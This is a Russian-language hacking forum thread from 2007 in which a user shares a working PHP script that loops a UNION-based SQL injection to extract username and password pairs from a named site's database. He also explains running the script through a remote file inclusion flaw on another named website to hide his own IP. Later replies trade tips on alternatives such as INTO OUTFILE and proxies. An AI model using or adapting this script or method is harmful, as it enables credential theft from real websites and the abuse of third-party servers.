Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Слив базы через SQL-inj в цикле |

08.07.2007, 04:32
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме: 404154
Репутация:
140
|
|
Слив базы через SQL-inj в цикле
Может было уже, но не нащел, по этому пишу свою статью..
Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу
сразу, а можно только одной строкой, и далее приходится перебирать
через limit. Можно ли автоматизировать этот процесс?? Да. Можно.
И сегодня я вам расскажу, как это сделать!
Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого..
Код:
<?php
$req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116,97,62),nick,char(58),passwd,char(60,47,100,97,116,97,62)),7,8,9,10,11,12,13,14+from+users+limit+';
// char(60,100,97,116,97,62) = <data>
// char(60,47,100,97,116,97,62) = </data>
// В итоге из базы вернется такая строка: <data>username:password</data>
$tag1='<data>';
$tag2='</data>';
// Между какими тегами ищем наши данные
$max=3203;
// Максимальное число пользователей в базе
error_reporting(0);
ob_implicit_flush();
echo '<pre>';
// Открываем цикл
for ($i=0;$i<$max;$i++)
{
con ($req.$i.',1/*',$tag1,$tag2);
}
echo '</pre>';
// Собственно сама функция
function con($url,$a1,$a2)
{
// Получаем порт и хост из адреса
$service_port = getservbyname('www', 'tcp');
$host=substr($url,7,strpos($url,"/",7)-7);
$address = gethostbyname($host);
// Создаем сокет
$socket = socket_create(AF_INET, SOCK_STREAM, 0);
// Коннектимся
$result = socket_connect($socket, $address, $service_port);
switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5))
{
case 2:
echo "[-] Connection Refused\n";
break;
case 1:
// echo "[-] Connected\n"; // Комментируем эту строку, чтобы не отображалась при выводе
break;
case 0:
echo "[-] Timeout\n";
break;
}
// Формируем запрос
$in = "GET $url HTTP/1.0\r\n";
$in .= "Host: $host\r\n";
$in .= "Connection: Close\r\n\r\n";
// Запрашиваем страницу
socket_write($socket, $in, strlen ($in));
$out = '';
$text='';
// Получам данные
while ($out = socket_read($socket, 2048)) {
$text.=$out;
}
socket_close ($socket);
// Ищем в полученной странице наши теги и выводим строку между ними
echo substr($text,strpos($text,$a1),strpos($text,$a2,strpos($text,$a1))-strpos($text,$a1));
echo "\n";
}
?>
Заливаем этот скриптик куда-нить на narod.ru.
Далее ищем сайт, уязвимый php-inj, например
*http://www.ultriplo.com/index.php?page=[url].php
и запускаем скрипт
*http://www.ultriplo.com/index.php?page=http://standmp3.narod.ru/get
Таким образом даже через модем мы можем быстро вытащить всю базу... Скорость зависит от ширины канала того сайта, на котором мы запускаем скрипт...
Вот!  Спасибо за внимание..
Created by 5hr4M...
|
|
|

08.07.2007, 15:25
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме: 404154
Репутация:
140
|
|
Сообщение от invlose
_https://forum.antichat.ru/thread31457.html
_https://forum.antichat.ru/thread21288.html
#потер оффтоп
Что - то я не понял, что я нарушил???
Если тока, черезчур много кода.. ну уж без него никак.. 
|
|
|

08.07.2007, 16:40
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме: 1948091
Репутация:
1686
|
|
а через инто аутфайл никак? да и слить упакованную в архив бд лудше--- или если уж так и сливать то лудше сразу с локали запускать и лить себе -- чет как-то хз помойму не слишком разумный метод делать дамп базы
|
|
|

08.07.2007, 17:12
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме: 404154
Репутация:
140
|
|
into outfile тоже не всегда работает.. нет прав записи часто..
А если лить с локали
1) Палишь ip
2) Скорость маленькая
3) Трафа жрет
А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..
|
|
|

08.07.2007, 20:07
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме: 1948091
Репутация:
1686
|
|
Сообщение от Shram-spb
into outfile тоже не всегда работает.. нет прав записи часто..
А если лить с локали
1) Палишь ip
2) Скорость маленькая
3) Трафа жрет
А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..
1) палишь ip -- а проксю повесить сильно впадлу на себя?
2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........
|
|
|

08.07.2007, 20:15
|
|
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме: 404154
Репутация:
140
|
|
Сообщение от genom--
1) палишь ip -- а проксю повесить сильно впадлу на себя?
2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........
1) Ну, если переписать немного скрипт, то можно..
2) Ты хоть разбирался как скрипт работает??
Объясню.. Он запрашивает с атакуемого сайта страницу, находит в ней нужные данные и выводит их на экран..
А теперь прикинь какая экономия траффика? Запросить 1000 страниц или скачать 1000 строчек с сайта??? Подумай над этим...
|
|
|

10.07.2007, 17:11
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
genom--
Сам подумал что сказал создай мне запрос что бы выводил в файл всю базу, при условии что выводиться 1 строка.
Shram-spb
Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.
|
|
|

10.07.2007, 18:48
|
|
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме: 6144796
Репутация:
1095
|
|
вообще, это слишком простенько и неинтересно, чтоб посвещать такому скриптику целую статью.. ведь извлекать из базы подобным образом инфу - это тривиальнейшая задача, которую тут, наверно, каждому второму хоть раз приходилось решать..
>> Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.
имхо проще уже потом из файла перекинуть все в БД..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|